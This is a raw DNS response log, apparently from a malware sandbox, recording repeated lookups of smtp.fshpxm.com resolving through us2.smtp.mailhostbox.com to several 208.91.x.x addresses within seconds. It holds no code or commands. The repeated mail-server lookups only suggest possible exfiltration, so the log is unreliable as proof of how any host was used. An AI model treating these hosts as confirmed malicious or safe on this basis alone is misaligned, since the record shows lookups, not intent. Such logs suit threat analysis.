Apr 18, 2024 10:25:22.163604021 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.163604021 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.793380976 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:22.793380976 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.793380976 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.793380976 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.793380976 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.898426056 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:22.898426056 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.898426056 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.898426056 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.898426056 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.007734060 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:23.007734060 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.007734060 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.007734060 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.007734060 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.113130093 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:23.113130093 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.113130093 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.113130093 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.113130093 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.218529940 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:23.218529940 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.218529940 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.218529940 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.218529940 CEST	8.8.8.8	192.168.2.22	0xb7a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.524755955 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:24.524755955 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.524755955 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.524755955 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.524755955 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.631299973 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:24.631299973 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.631299973 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.631299973 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.631299973 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.736793995 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:24.736793995 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.736793995 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.736793995 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.736793995 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.842350960 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:24.842350960 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.842350960 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.842350960 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.842350960 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.948928118 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:24.948928118 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.948928118 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.948928118 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.948928118 CEST	8.8.8.8	192.168.2.22	0xf35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.665827036 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:25.665827036 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.665827036 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.665827036 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.665827036 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.770854950 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:25.770854950 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.770854950 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.770854950 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.770854950 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.877036095 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:25.877036095 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.877036095 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.877036095 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.877036095 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.982014894 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:25.982014894 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.982014894 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.982014894 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.982014894 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:26.086823940 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:26.086823940 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:26.086823940 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:26.086823940 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:26.086823940 CEST	8.8.8.8	192.168.2.22	0xc557	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.345094919 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:27.345094919 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.345094919 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.345094919 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.345094919 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.449523926 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:27.449523926 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.449523926 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.449523926 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.449523926 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.554789066 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:27.554789066 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.554789066 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.554789066 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.554789066 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.659209013 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:27.659209013 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.659209013 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.659209013 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.659209013 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.766480923 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:27.766480923 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.766480923 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.766480923 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.766480923 CEST	8.8.8.8	192.168.2.22	0x4a0e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.878813028 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:27.878813028 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.878813028 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.878813028 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.878813028 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.983660936 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:27.983660936 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.983660936 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.983660936 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.983660936 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.088468075 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:28.088468075 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.088468075 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.088468075 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.088468075 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.195133924 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:28.195133924 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.195133924 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.195133924 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.195133924 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.299817085 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:28.299817085 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.299817085 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.299817085 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.299817085 CEST	8.8.8.8	192.168.2.22	0xf0a9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.485383034 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:28.485383034 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.485383034 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.485383034 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.485383034 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.590337038 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:28.590337038 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.590337038 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.590337038 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.590337038 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.695373058 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:28.695373058 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.695373058 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.695373058 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.695373058 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.802272081 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:28.802272081 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.802272081 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.802272081 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.802272081 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.907179117 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:28.907179117 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.907179117 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.907179117 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.907179117 CEST	8.8.8.8	192.168.2.22	0x565a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.307966948 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:31.307966948 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.307966948 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.307966948 CEST	8.8.8.8	192.168.2.22	0x5deb	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
